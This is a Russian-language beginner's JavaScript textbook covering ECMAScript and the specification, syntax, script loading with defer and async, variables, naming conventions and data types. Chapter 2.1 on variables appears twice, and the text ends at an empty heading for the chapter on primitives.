Теория ~ 3 минуты

Глава 1.1. Что такое JavaScript

JavaScript — это язык сценариев. Что же такое язык сценариев? Это язык программирования, разработанный для воздействия на существующий объект или систему. В нашем случае объектом будет веб-страница. Получается JavaScript используется для создания и управления динамическим содержимым веб-сайта — всем, что перемещается, обновляется или иным образом изменяется на веб-странице без перезагрузки. Это и анимированная графика, и слайд-шоу фотографий, и автозаполнение текста, и интерактивные формы. Одним словом с помощью JavaScript мы можем запрограммировать поведение.

Автодополнение поискового запроса на Яндексе возможно благодаря JavaScript

Мы все привыкли, что лента «ВКонтакте» автоматически обновляется на экране без перезагрузки страницы, а поисковые сервисы показывают результаты поиска на основе нескольких введённых букв. Всё это возможно благодаря JavaScript.

JavaScript является неотъемлемой частью веб-функциональности, поэтому все основные веб-браузеры поставляются со встроенными механизмами, которые могут выполнять JavaScript. Это означает, что команды JavaScript можно вводить непосредственно в HTML-документ, и веб-браузеры смогут их понять. Другими словами, использование JavaScript не требует установки дополнительных программ или компиляторов.

Однако, браузеров существует множество, и JavaScript в каждом должен выполняться одинаково, другим словом «стандартно». Стандартом для реализации JavaScript в браузере является **ECMAScript** — это язык сценариев, разработанный в сотрудничестве с Netscape и Microsoft. Это именно *стандарт*, а JavaScript — *реализация стандарта* в вебе.

Наличие стандарта ECMAScript помогает обеспечить большую согласованность между реализациями JavaScript в разных браузерах. Сам ECMAScript является объектно-ориентированным и задуман как базовый язык, к которому могут быть добавлены объекты любой конкретной области или контекста. Про встроенные объекты мы ещё поговорим в будущем.

Чтобы проиллюстрировать пример «стандарта», вспомним об обычной клавиатуре компьютера, которую мы используем каждый день. У подавляющего большинства клавиатур буквы расположены в одном и том же порядке. Пробел, клавиша `Enter`, стрелки и цифровой блок также расположены приблизительно одинаково. Это связано с тем, что большинство производителей клавиатур опираются на стандарт раскладки QWERTY. Так и производители браузеров в реализации JavaScript опираются на стандарт ECMAScript.

Одинаковая раскладка QWERTY на разных клавиатурах

Подробнее о том, что такое стандарт, какие у него бывают версии и чем *стандарт* отличается от *реализации стандарта* рассказываем в отдельной главе для дополнительного чтения:

— Спецификация

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 1.2. Спецификация

Спецификация — это документация к языку программирования. Обычно это большой документ с подробнейшим описанием языка. В первую очередь спецификация необходима разработчикам языка программирования. По ней может совершенствоваться и дорабатываться язык.

Для прикладных разработчиков, например фронтендеров, спецификация также важна. В любом языке программирования всегда есть неочевидные вещи. Понять, почему они работают именно так — поможет спецификация. Как говорится, это последняя инстанция.

ECMA-262

Язык JavaScript определяет спецификация ECMA-262. По приведённой ссылке доступна как актуальная версия спецификации, так и архив предыдущих.

Спецификация ECMA-262 — это объёмный документ. Его не осилить ни за один, ни за два подхода. Читать спецификацию от корки до корки и не нужно. В этом документе собрана полная информация по JavaScript, и работать с ней нужно по частям, обращаясь, когда прикладная документация не даёт ответа.

Развитием спецификации ECMAScript занимается комитет TC39. Членами комитета являются крупные поставщики браузеров и другие компании. Несколько лет назад комитет TC39 перешёл на цикл ежегодного обновления спецификации ECMA-262. Каждый год спецификация дополняется и обновляется. Понять, что появится в очередной версии спецификации можно, заглянув в черновики. Последний черновик всегда доступен по короткой ссылке.

У TC39 также есть отдельный репозиторий на GitHub с предложениями к спецификации. Здесь можно получить информацию о возможностях, которые планируется включить в спецификацию или которые были отклонены.

Очередная версия спецификации приносит в язык новые возможности. Однако, не все они сразу становятся доступны к применению. Производители браузеров сами определяют приоритет внедрения новых функций. Одни могут появиться раньше, чем выйдет спецификация. Другие наоборот, позже. Поэтому, прежде, чем использовать какую-нибудь возможность недавно вышедшей версии спецификации, убедитесь, что она поддерживается нужными вам браузерами.

DOM. Living Standard

В спецификации ECMA-262 приведена информация только касательно самого языка программирования. Сведений, которые относятся к применению JavaScript в браузере в ней нет. Они описаны в отдельном документе — DOM. Living Standard.

Где искать информацию

Во время изучения JavaScript перед вами постоянно будут возникать вопросы. Для поиска ответов во время обучения спецификация не очень подходит. В ней находится сухое описание без практических примеров. Найти примеры и ознакомиться с описанием той или иной возможности на начальных этапах удобнее на портале MDN Web Docs, в народе просто MDN. Многие разделы переведены на русский язык!

Искать ответ на вопрос можно при помощи внутреннего поиска в MDN, но зачастую удобней пользоваться поисковым сервисом вроде DuckDuckGo, Google или Яндекс, добавляя в конце «MDN». Например, «метод массива forEach MDN».

Пример поисковой выдачи в Google

Резюме

Спецификация — главный источник правды о языке программирования. В нём нет примеров кода, но детально описывается поведение всех возможностей языка. Изучать спецификацию непросто, но зачастую лишь она может пролить свет на сложный вопрос.

Теория ~ 7 минут

Глава 1.3. Синтаксис

Как и в любом языке, не важно в языке программирования или в естественном языке, в JavaScript существуют языковые конструкции. Расположенные в определённой последовательности, как слова в предложении, эти конструкции составляют синтаксис языка. И расставляя в нужном порядке запятые, точки, точки с запятыми, скобки, знаки равенства и прочие знаки, а также некоторые из английских слов, разработчик пишет программу. Чем опытнее разработчик, тем больше языковых конструкций он знает и умеет использовать. Однако выучить их все не получится, потому что с каждым обновлением языка добавляются всё новые и новые элементы синтаксиса. Поэтому в случае с языком программирования работают все те же правила, что в случае с естественными языками: важно выучить базовый синтаксис — самые часто используемые конструкции — «на зубок», а после постепенно и постоянно расширять свой набор знаний.

Синтаксис на практике

Рассмотрим синтаксис двух главных строительных блоков любой программы: переменной и функции.

Переменные

Чтобы объявить переменную в JavaScript, нужны:

1. ключевое слово `let` или `const`;
2. имя переменной (разработчик должен придумать его самостоятельно, фантазия ограничена латиницей и несколькими спецсимволами);
3. оператор присваивания `=` (знак равенства);
4. значение переменной (разработчик должен определить его самостоятельно).

Пункты 3 и 4 опциональны, потому что бывают случаи, когда значение переменной в момент объявления ещё не известно.

И тогда, чтобы объявить переменную с именем `company`, разработчик должен написать:

```
let company;
```

А чтобы объявить ту же переменную, но уже со значением, разработчик должен написать:

```
let company = 'HTML Academy';
```

Каждый знак в коде важен. Например `;` (точка с запятой) показывает, что языковая конструкция закончилась. Значит после можно начинать другую языковую конструкцию:

```
let company = 'HTML Academy'; let city = 'Санкт-Петербург';
```

Компьютеру без разницы, а вот человеку удобнее читать код с новой строки, поэтому обычно на одной строке располагается только одна языковая конструкция:

```
let company = 'HTML Academy';
let city = 'Санкт-Петербург';
```

А ещё надо помнить, что язык программирования — это не английский язык, хотя в JavaScript используются некоторые английские слова. Поэтому нельзя просто написать:

```
let company = HTML Academy;
```

JavaScript не знает слов `HTML` и `Academy`. Чтобы в JavaScript определить какую-либо текстовую информацию, нужно её представить в виде строки, для этого используются кавычки: одинарные `'` или двойные `"`. На каком языке будет сообщение в кавычках не имеет значения: хоть на английском, хоть на русском, хоть на JavaScript.

С числами проще. В JavaScript целые числа похожи на числа в обычном языке:

```
let est = 1703;
```

Дробные числа называются числами с плавающей точкой, потому что дробная часть отделяется `.` (точкой):

```
let pi = 3.14;
```

Функции

Чтобы объявить функцию в JavaScript, нужны:

1. ключевое слово `function`;
2. имя функции (разработчик должен придумать его самостоятельно, фантазия ограничена латиницей и несколькими спецсимволами);
3. пара круглых скобок `()`, внутри которых через запятую можно перечислить параметры функции, а можно не перечислять;
4. пара фигурных скобок `{}`, с помощью которых ограничивают тело функции;
5. ключевое слово `return`.

Что такое параметры функции, зачем `return` и что значит «функция возвращает значение» вы узнаете из отдельного материала про функции, пока рассматриваем только синтаксис.

И тогда, чтобы объявить функцию с именем `getCompanyName`, разработчик должен написать:

```
function getCompanyName () { return 'HTML Academy' }
```

Кстати, после конструкций с телом, вроде функции, можно точку с запятой не ставить.

Опять же, человеку будет удобнее читать код с новой строки, поэтому обычно в теле функции также используют переносы строки и символ табуляции, чтобы вложенностью показать принадлежность:

```
function getCompanyName () {
  return 'HTML Academy';
}
```

Переносы строки не регламентированы JavaScript, поэтому некоторые разработчики предпочитают писать так:

```
function getCompanyName ()
{
  return 'HTML Academy';
}
```

В этом нет никакой ошибки, и всё же мы не рекомендуем использовать такой стиль.

Для объявления функции используют сразу два типа скобок — круглые и фигурные. Однако назначение тех или иных скобок зависит от места, где они используются. Например, круглые скобки ещё используются для вызова (выполнения) функции, если поставить их следом за именем функции:

```
getCompanyName();
```

А фигурные для обособления частей кода (редко):

```
{
  let company = 'HTML Academy';
}
```

Или для определения границ тела других конструкций вроде условий (часто):

```
if (2 > 1) {
  let company = 'HTML Academy';
}
```

Но если скобки везде одни и те же, как понять, что перед нами за конструкция? ~~Зазубрить!~~ По контексту! Возьмём две похожие по порядку символов конструкции (функцию и условие):

```
function getCompanyName () {
  return 'HTML Academy';
}
```

```
if (2 > 1) {
  let company = 'HTML Academy';
}
```

Первое и главное отличие — разные ключевые слова `function` и `if`. Второе, конструкция условия не предполагает имени после `if` (и вообще). Третье, если у функции в круглых скобках перечисляются параметры, то в условии в круглых скобках указывается само условие. И так далее.

В любом похожем случае задача того или иного знака зависит от контекста использования, поэтому при написании JavaScript-кода нужно проявлять особое внимание, когда используете знаки равенства, кавычки, различные скобки и прочие символы.

Весь базовый синтаксис JavaScript мы будем изучать постепенно, чтобы в конце «пазл сложился», и вы смогли читать программу на JavaScript как обычную книгу. Поэтому если какие-то примеры из этой главы для вас пока непонятны, ничего страшного. Скоро мы это исправим.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 1.4. Подключение JavaScript к странице

Для добавления JavaScript-кода к странице применяется тег `<script>`. Он позволяет включить в страницу как самостоятельный блок кода, так и внешние файлы — сценарии с кодом на JavaScript.

Внутри HTML-кода

Начнём с самого простого и наглядного варианта: размещение JavaScript-кода внутри тега `<script>`:

```
<!DOCTYPE html>
<html lang="ru">
  <body>
    <script>
      alert('Пауза...');
    </script>
    <p>Мороз и солнце; день чудесный!</p>
    <p>Ещё ты дремлешь, друг прелестный</p>
  </body>
</html>
```

Внутри тега `<script>` написана одна строка кода на JavaScript — вызов функции `alert`, которая отвечает за показ всплывающих сообщений.

Внутри тега `<script>` само собой может быть не одна строка кода, а много. В этом плане разработчик никак не ограничен. Разве что здравым смыслом, писать много кода внутри `<script>` не очень хорошая идея.

Перед тем, как перейти к альтернативным способам добавления JavaScript на страницу, давайте обсудим, как браузер будет выполнять этот код. Встретив в HTML-документе тег `<script>`, браузер приостановит разбор (или парсинг от англ. parse) документа. Вместо этого он займётся контентом тега `<script>` — разберёт и выполнит JavaScript-код. После этого продолжит вновь парсить документ.

Почему мы фокусируем на этом внимание? Пока браузер занимается разбором и выполнением JavaScript-кода, отрисовка страницы приостанавливается. В нашем примере пока пользователь не скроет всплывающее сообщение, стихотворение не будет отрисовано на странице:

В этом нет ничего страшного, если внутри тега `<script>` несложный фрагмент кода. Код выполнится молниеносно и отрисовка страницы продолжится. Визуально вы не заметите разницы. Однако, если код объёмный и сложный, вот здесь разница может стать заметней.

Внешний сценарий

Способ с написанием кода прямо внутри тега `<script>` хорош, когда кода немного. При разработке полноценного фронтенд-приложения кода придётся написать больше, и удобнее всего это делать в отдельных файлах. А как же потом подключить эти файлы с кодом к странице? Для решения этой задачи опять же применяется тег `<script>`.

Для подключения к странице внешнего сценария следует задействовать атрибут `src`. Значением атрибута станет путь к внешнему файлу с JavaScript. Рассмотрим на примере:

```
<!-- Подключаем сценарий script.js, используя относительный путь -->
<script src="/path/script.js"></script>

<!-- Подключаем сценарий script.js, используя полный путь -->
<script src="https://myserver/js/script.js"></script>
```

В остальном этот способ похож на предыдущий. Браузер, встретив тег `<script>`, приостановит отрисовку страницы, пока внешний JavaScript-сценарий не будет загружен, разобран и исполнен.

А как быть если требуется подключить к странице сразу несколько сценариев? Точно так же. Каждый следующий сценарий подключаем при помощи тега `<script>`. Они загрузятся и выполнятся последовательно.

Простая оптимизация

В обоих случаях возможна ситуация, когда разбор и выполнение сценария требует много времени. Что же, пользователю теперь придётся наблюдать частично отрисованное содержимое страницы или вообще белый пустой экран? Нет. К счастью есть несколько простых техник, позволяющие решить эту проблему. Наиболее простая из них заключается в подключении внешних сценариев в конце страницы, перед закрывающим тегом `</body>`. Таким образом, браузер отрисует содержимое страницы, а только потом возьмётся за JavaScript.

Внешние сценарии и код внутри script

Внимательные читатели наверняка задаются вопросом: «А что будет, если в атрибуте `src` мы укажем путь к внешнему сценарию, а затем ещё напишем код внутри самого тега `<script>`?»

```
<script src="https://myserver/js/script.js">
  alert('Привет, мир!');
</script>
```

Не будем ходить вокруг да около: если задан атрибут `src`, то содержимое тега `<script>` игнорируется. Сколько бы вы ни написали кода внутри тега `<script>`, выполнен он не будет.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 5 минут

Глава 1.4.1. Атрибуты defer и async

У тега `<script>` есть два атрибута, позволяющие указать, как загружать и выполнять внешние сценарии. Речь об атрибутах `defer` и `async`. Применив любой из них, браузер не прервёт парсинг html-документа, когда доберётся до тега `<script>`. Он продолжит разбирать документ, а загрузка сценария начнётся параллельно, в фоне.

Таким образом, становится неважно в каком месте html-документа производится подключение внешних сценариев. Прерывания обработки документа не произойдёт, поэтому контент пользователь увидит сразу, не дожидаясь загрузки и выполнения внешнего сценария. Звучит здорово, но зачем тогда два атрибута?

defer

Сценарии, подключаемые с применением атрибута `defer`, браузер загрузит в фоновом режиме, не прерывая отрисовку страницы. Выполнение таких сценариев произойдёт после завершения разбора html-документа. Причём неважно сколько сценариев подключается таким образом (с применением атрибута `defer`). Браузер дождётся завершения их загрузки и начнёт выполнять.

Рассмотрим на примере. Если в HTML-странице происходит подключение пяти сценариев с применением атрибута `defer`, то браузер дождётся их полной загрузки, а затем приступит к последовательному выполнению. Сценарии будут выполнены в порядке подключения к странице.

При использовании атрибута `defer` стоит помнить об ещё одном важном нюансе. После разбора html-документа, браузер генерирует событие `DOMContentLoaded`. Это означает, что браузер разобрал HTML и построил DOM-дерево, при этом некоторые внешние ресурсы (изображения, стили и так далее) могли ещё не успеть загрузиться. Событие `DOMContentLoaded` — своего рода сигнал для сценариев, которые опираются на DOM-элементы.

Так вот, если для загрузки сценариев применялся атрибут `defer`, то событие `DOMContentLoaded` сгенерируется только после окончания загрузки и выполнения всех таких сценариев. Об этом важно помнить.

Маленький вопрос для самопроверки понимания работы атрибута `defer`. Взгляните на код страницы. Попробуйте угадать, какой сценарий будет выполнен первым:

```
<!DOCTYPE html>
<html lang="ru">
    <head>
        <title>JavaScript. Профессиональная разработка веб-интерфейсов</title>
    </head>
    <body>
        <h1>Hello, JavaScript</h1>
        <h2>Второй заголовок</h2>

        <!-- Подключим библиотеку jQuery (размер 31.1 KB) -->
        <script defer src="https://code.jquery.com/jquery-3.5.1.min.js"></script>

        <!-- Подключим библиотеку lodash (размер 26 KB) -->
        <script defer src="https://cdn.jsdelivr.net/npm/lodash@4.17.20/lodash.min.js"></script>
    </body>
</html>
```

Если ваш ответ — `jQuery`, поздравляем! Вы ничего не упустили. Загрузка обоих сценариев произойдёт в фоновом режиме. Браузер загружает внешние ресурсы в несколько потоков. Скорей всего `lodash` загрузится раньше, так как он меньше по размеру. Несмотря на это, выполнение сценариев произойдёт последовательно — в порядке подключения. Атрибут `defer` это гарантирует.

async

Второй атрибут, позволяющий изменить поведение загрузки внешних сценариев — `async`. Основный смысл остаётся неизменным: браузер, встретив тег `<script>` с атрибутом `async`, продолжит разбор HTML-документа и отрисовку страницы. Как и в случае с `defer`, сценарий с кодом загрузится в фоновом режиме. Чем же тогда отличается поведение `async` и `defer`?

Главное отличие кроется в независимости внешнего сценария по отношению к странице и другим сценариям, подключаемым с атрибутом `async`. Сценарии, подключаемые с применением атрибута `async`, загружаются в фоне и выполняются по мере готовности. Последовательность выполнения не гарантируется. Кто первый загрузился, тот и выполнится раньше. При этом браузер не будет дожидаться загрузки и выполнения таких сценариев, чтобы сгенерировать событие `DOMContentLoaded`. Поэтому сценарии с `async` могут выполниться как перед готовностью DOM, так и после.

Диаграмма отличий между async и defer

defer, async без src

Ещё один важный нюанс. Применять атрибуты `defer` и `async` имеет смысл только при подключении внешних сценариев. Если тег `<script>` используется без атрибута `src`, то атрибуты `defer` и `async` игнорируются. Поэтому, если воспользоваться одним из разобранных атрибутов и написать код внутри тега `<script>`, ожидаемого эффекта не будет.

Когда и что использовать?

Когда внешний сценарий независим от выполнения других сценариев и не опирается на готовность DOM, имеет смысл воспользоваться атрибутом `async`. Примеры таких сценариев: всевозможные счётчики, внешние сервисы аналитики и так далее.

`defer` следует применять, когда важна последовательность выполнения сценариев и готовность DOM. Применение `defer` снимает ограничение на подключение внешних сценариев в самом конце страницы. Поскольку разбор html-документа не прерывается, подключение может производиться в любом месте страницы.

Если вам требуется подключить только один сценарий к странице и вы подключаете его в самом конце страницы, перед закрывающим тегом `<body>`, то атрибуты `defer` и `async` можно не применять.

Резюме

Оптимизировать загрузку и выполнение кода помогут дополнительные атрибуты: `async` и `defer`. Первый удобен для подключения счётчиков, аналитики и других подобных сценариев. Таким сценариям, как правило, не важна готовность DOM и последовательность выполнения. `defer`, наоборот, полезен там, где важна последовательность.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 2.1. Переменные

Переменные позволяют хранить данные и использовать их в любом месте программы, обратившись по имени переменной. Переменную можно представить в виде подписанной коробки. В любую коробку можно что-то поместить, а затем из неё достать. Надпись на коробке (имя переменной) поможет найти нужную, если одинаковых коробок будет много.

Переменные объявляются по схеме:

```
ключевое_слово имя_переменной = значение_переменной
```

Давайте объявим переменную в JavaScript:

```
let nickName = 'Кекс';
```

Готово, мы только что объявили переменную `nickName` со значением `'Кекс'` с помощью ключевого слова `let`.

Имя

У любой переменной должно быть имя, иначе мы не сможем к ней обратиться. Имя переменной может быть почти любым, но не должно начинаться с цифры, а из спецсимволов разрешены только `_` и `$`.

Правильные имена переменных:

```
let nickName = 'Кекс';
let first_man_in_space = 'Юрий Гагарин';
let $ = 'jQuery';
```

Имена переменных, которые вызовут ошибку:

```
let nick-name = 'Кекс';
let 1_man_in_space = 'Юрий Гагарин';
```

Кроме того, в JavaScript есть зарезервированные слова, которые нельзя использовать для именования переменных. Иными словами, если объявить переменную с любым словом из этого списка в качестве имени, произойдёт ошибка.

Имена переменных чувствительны к регистру: `header`, `Header` и `HEADER` — это разные переменные. Но самое главное, чтобы переменная действительно делала код понятнее, её имя должно описывать то, что в ней хранится.

Постоянные переменные

Кроме ключевого слова `let`, для объявления переменных в JavaScript используется ключевое слово `const`:

```
const nickname = 'Кекс';
```

Способы объявления переменной с помощью ключевых слов `let` и `const` равнозначны, но у `const` есть одно отличие. Возможно, вы уже догадались об этом по названию, `const` — это сокращение от слова constant *(константа или постоянная, англ.)* Переменную, объявленную с помощью `const`, нельзя перезаписать:

```
const x = 1;
x = 2; // Получим ошибку
```

В то время, как `let`-переменную перезаписать можно:

```
let x = 1;
x = 2; // Ошибки не будет, значение переменной x станет равно 2
```

Постоянные значения

Прозвучит парадоксально, но не всякая `const`-переменная — это обязательно константа. Константами называются переменные, значение которых известно ещё до выполнения программы, и это значение не изменяется в ходе выполнения программы.

Объявление переменной с помощью `const` обеспечивает только второе из этих двух условий — неизменяемость. И чтобы в коде отличать константы от неизменяемых переменных, первые именуют в `CONSTANT_CASE` (когда все буквы заглавные, а слова разделяются подчёркиванием).

```
// Настоящая константа
const EARTH_RADIUS = 6371;

// Просто неизменяемая переменная
const randomNumber = Math.random();
```

Какой способ объявления переменной выбрать

На начальных этапах, пока учитесь, всегда используйте `const`, и только если столкнётесь с необходимостью перезаписать значение переменной — используйте `let`. Это поможет избежать неявных, и часто случайных, перезаписей переменных, которые по неопытности трудно отловить и исправить. А когда наберётесь опыта, уже решите для себя самостоятельно, какой вариант вам больше по душе, того и придерживайтесь.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 2.1. Переменные

Переменные позволяют хранить данные и использовать их в любом месте программы, обратившись по имени переменной. Переменную можно представить в виде подписанной коробки. В любую коробку можно что-то поместить, а затем из неё достать. Надпись на коробке (имя переменной) поможет найти нужную, если одинаковых коробок будет много.

Переменные объявляются по схеме:

```
ключевое_слово имя_переменной = значение_переменной
```

Давайте объявим переменную в JavaScript:

```
let nickName = 'Кекс';
```

Готово, мы только что объявили переменную `nickName` со значением `'Кекс'` с помощью ключевого слова `let`.

Имя

У любой переменной должно быть имя, иначе мы не сможем к ней обратиться. Имя переменной может быть почти любым, но не должно начинаться с цифры, а из спецсимволов разрешены только `_` и `$`.

Правильные имена переменных:

```
let nickName = 'Кекс';
let first_man_in_space = 'Юрий Гагарин';
let $ = 'jQuery';
```

Имена переменных, которые вызовут ошибку:

```
let nick-name = 'Кекс';
let 1_man_in_space = 'Юрий Гагарин';
```

Кроме того, в JavaScript есть зарезервированные слова, которые нельзя использовать для именования переменных. Иными словами, если объявить переменную с любым словом из этого списка в качестве имени, произойдёт ошибка.

Имена переменных чувствительны к регистру: `header`, `Header` и `HEADER` — это разные переменные. Но самое главное, чтобы переменная действительно делала код понятнее, её имя должно описывать то, что в ней хранится.

Постоянные переменные

Кроме ключевого слова `let`, для объявления переменных в JavaScript используется ключевое слово `const`:

```
const nickname = 'Кекс';
```

Способы объявления переменной с помощью ключевых слов `let` и `const` равнозначны, но у `const` есть одно отличие. Возможно, вы уже догадались об этом по названию, `const` — это сокращение от слова constant *(константа или постоянная, англ.)* Переменную, объявленную с помощью `const`, нельзя перезаписать:

```
const x = 1;
x = 2; // Получим ошибку
```

В то время, как `let`-переменную перезаписать можно:

```
let x = 1;
x = 2; // Ошибки не будет, значение переменной x станет равно 2
```

Постоянные значения

Прозвучит парадоксально, но не всякая `const`-переменная — это обязательно константа. Константами называются переменные, значение которых известно ещё до выполнения программы, и это значение не изменяется в ходе выполнения программы.

Объявление переменной с помощью `const` обеспечивает только второе из этих двух условий — неизменяемость. И чтобы в коде отличать константы от неизменяемых переменных, первые именуют в `CONSTANT_CASE` (когда все буквы заглавные, а слова разделяются подчёркиванием).

```
// Настоящая константа
const EARTH_RADIUS = 6371;

// Просто неизменяемая переменная
const randomNumber = Math.random();
```

Какой способ объявления переменной выбрать

На начальных этапах, пока учитесь, всегда используйте `const`, и только если столкнётесь с необходимостью перезаписать значение переменной — используйте `let`. Это поможет избежать неявных, и часто случайных, перезаписей переменных, которые по неопытности трудно отловить и исправить. А когда наберётесь опыта, уже решите для себя самостоятельно, какой вариант вам больше по душе, того и придерживайтесь.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 8 минут

Глава 2.2. Именование переменных и функций

Разработка — это процесс. Нельзя написать сценарий и просто забыть о нём. Однажды требования могут измениться, и в код понадобится внести правки. Лучше заранее позаботиться о том, чтобы код был максимально понятным. В этом разделе мы обсудим несколько правил написания понятного кода.

Самодокументируемый код

В настоящее время IT-сообщество придерживается концепции **самодокументируемого кода**. Это значит, что в самом коде должно содержаться как можно больше информации о том, что он делает. И самый главный принцип самодокументируемого кода — правильное именование переменных.

Удачно подобранное имя переменной может рассказать многое. Неудачно подобранное — заставит лезть в документацию (если она есть), а то и вовсе запутает и заставит думать, что программа делает не то, что она делает, а нечто совершенно иное.

Называя переменную, следует как можно точнее описать её назначение. Однако не следует быть слишком многословным или избыточно точным:

```
// Плохо, название не описывает почти ничего
const s = 'Барсик';

// Плохо, указан тип, но не назначение
const string = 'Барсик';

// Уже лучше
const cat = 'Барсик';

// Совсем хорошо
const catName = 'Барсик'; // <-- Золотая середина

// Пойдёт
const myCatName = 'Барсик';

// Излишняя специфика
const barsikName = 'Барсик';

// Излишне многословно
const theNameOfSomeCat = 'Барсик';
```

Почему английский?

Как латынь является профессиональным языком биологов и медиков, так и английский де факто стал языком программистов. Можно относиться к этому по-разному, однако факт остаётся фактом. Для именования переменных следует использовать слова на английском языке.

```
// Плохо
const VOZRAST = 18;

// Хорошо
const AGE = 18;
```

Если у вас не очень хорошо с английским, используйте автоматический переводчик. Поначалу это трудно, но со временем ваше знание языка само по себе улучшится.

Стиль именования

Помимо того, что название должно быть правильно подобрано, оно должно быть правильно оформлено. Одно и то же название можно написать по-разному. В JavaScript принято использовать три стиля оформления:

- **camelCase** («верблюжий стиль» — слитно, каждое слово, кроме первого, начинается с большой буквы);
- **PascalCase** («стиль Паскаля» — как предыдущий, но первое слово тоже с большой буквы);
- **CONSTANT_CASE** («стиль констант» — все буквы большие, слова разделяются символом подчёркивания).

Правильный стиль оформления несёт важную информацию о назначении переменной. Например, увидев `CONSTANT_CASE`, человек, читающий код, сразу понимает, что значение этой переменной не меняется и известно заранее. Поэтому, если, допустим, этот человек не просто читает код, а ищет в нём ошибку, он сразу знает, что ошибка возникла не из-за того, что эта переменная внезапно была изменена.

Верно и обратное: используя неправильный стиль оформления, можно запутать читателя, дать ему ложные предпосылки, которые приведут к неправильным выводам. Старайтесь избегать этого, если, конечно, ваша цель не промышленная диверсия.

CONSTANT_CASE

Как нетрудно догадаться по названию, используется для именования констант — переменных, значение которых известно заранее и не изменяется в ходе выполнения программы:

```
// Плохо, константа не названа как константа
const earthRadius = 6371;

// Плохо, не константа названа как константа
const RANDOM_NUMBER = Math.randon();

// Хорошо
const EARTH_RADIUS = 6371;
```

PascalCase

Используется для именования классов, конструкторов и перечислений. Классы и конструкторы — заслуживают отдельного разговора. Сейчас мы разбирать их не будем. А перечисление — это, грубо говоря, «сборник констант», которые объединены общей тематикой:

```
// Неправильно
const RAINBOW = {
  red: '#ff0000',
  orange: '#ffa500',
  yellow: '#ffff00',
  green: '#008000',
  lightBlue: '#42aaff',
  blue: #0000ff',
  indigo: '#4b0082',
};

// Правильно
const Rainbow = {
  RED: '#ff0000',
  ORANGE: '#ffa500',
  YELLOW: '#ffff00',
  GREEN: '#008000',
  LIGHTBLUE: '#42aaff',
  BLUE: '#0000ff',
  INDIGO: '#4b0082',
};
```

О синтаксисе объектов `{}` и что это вообще такое, объекты, мы поговорим позже.

camelCase

Во всех остальных случаях используется обычный **camelCase**.

Части речи

Ещё один важный способ дать подсказки человеку, читающему код — использование правильных частей речи. Для названий переменных, в которых содержатся значения примитивного типа или объекты, используйте существительные в единственном числе:

```
// Неправильно
const remember = 'Купить кошачьей еды';

// Опять неправильно
const tasks = 'Купить кошачьей еды';

// Правильно
const task = 'Купить кошачьей еды';
```

Множественное число тоже используется, когда речь идёт о наборе из нескольких значений. С примерами таких переменных мы познакомимся позже.

Функция отличается от других переменных тем, что её можно вызвать, и она произведёт какие-то действия. Чтобы отразить это, в названии функции обязательно используется глагол:

```
// Неправильно
function plus (a, b) {
  return a + b;
}

// Правильно
function summarize (a, b) {
  return a + b;
}
```

Впрочем, из этого правила есть некоторые исключения, вроде именования обработчиков событий по схеме `on` + событие, например `onclick`. С ними мы познакомимся позже.

Коллизии при именовании

В английском языке есть особенность, когда одно и то же слово может быть как глаголом, так и существительным. Такие слова в коде стоит использовать с осторожностью, потому что они сводят на нет различие между переменными и функциями. Например, без контекста трудно сказать, `filter` — это фильтровать (функция) или фильтр (переменная). Самое простое решение этой проблемы, использовать словосочетание. С уверенностью можно сказать, что `filterList` — это отфильтровать список (функция), а `currentFilter` — выбранный фильтр (переменная).

Краткость

Порой возникает соблазн назвать переменную покороче, чтобы меньше пришлось печатать. Или назвать её одной буквой. Казалось бы, огромная экономия времени и клавиатур. Однако это плохая идея, о которой впоследствии кто-нибудь жалеет.

Во-первых, сокращения быстрее пишутся, но медленнее читаются. Чтение кода, состоящего из каких-нибудь `smrz` вместо `summarize`, удовольствие сильно ниже среднего. Во-вторых, в сокращениях легко запутаться. Уже через пять минут после того, как сокращённое название скрылось с экрана, становится трудно вспомнить: там было `smmrz`, или `smrz`, или вообще `sum`? В-третьих, сокращения не всегда можно однозначно восстановить.

Однобуквенные сокращения возводят все вышеперечисленные недостатки в куб. По таким именам нельзя понять, что хранится в переменной, не взглянув на её содержимое. Никогда не используйте сокращения для имён переменных и функций. Почти никогда. Исключение — общепринятые сокращения. Некоторые сокращения использовались настолько часто, что со временем из ошибки стали правилом, например:

- `evt` для объектов `Event` и его производных (`MouseEvent`, `KeyboardEvent` и подобные);
- `i`, `j`, `k`, `l`, `t` для счётчиков циклов и цикличных методов;
- `cb` для единственного колбэка в параметрах функции.

И так далее. Почти со всеми сокращениями из «допустимого списка» мы познакомимся в течение курса.

Глава 2.3. Типы данных в JavaScript

В JavaScript существуют два типа данных: примитивные и объектные. На сленге — простые и сложные. С их помощью описываются все данные, которые нужны для работы программ.

Стандарт ECMAScript определяет семь примитивных типов данных:

- строки `String`. В коде `'обрамляются'` `"различными"` `` `кавычками` ``;
- числа `Number`, как целые `1` `2` `3`, так и дробные `1.5` `4.213` `9.75` (последние правильнее называть «числа с плавающей точкой»);
- большие целые числа `BigInt`, помечаются буквой `n` на конце (`9007199254740991n`), используются для представления чисел, которые не может выразить `Number`;
- логический (булев) тип `Boolean` с двумя значениями `true` и `false`;
- `undefined`;
- `null`;
- символы `Symbol`.

И объектный тип данных, собственно, объекты (`{ name: 'Кекс' }`).

Чтобы определить тип данных, используется оператор `typeof`, который возвращает название типа на английском:

```
typeof 1; // вернёт "number"
typeof 'Привет, мир!'; // вернёт "string"
```

Про типы данных стоит запомнить, если не сказать зазубрить, несколько особенностей:

1. Хотя `null` — это примитив, выражение `typeof null` вернёт `"object"`.
2. Оператор `typeof` для функции вернёт `"function"`, но на самом деле функции — это те же объекты с одним отличием: их можно вызвать.
3. Числа и другие типы, представленные как строки, это строки:

```
typeof 1;      // вернёт "number"
typeof '1';    // вернёт "string"
typeof true;   // вернёт "boolean"
typeof 'true'; // вернёт "string"
// и т.д.
```

Теория ~ 7 минут

Глава 2.3.1. Примитивы

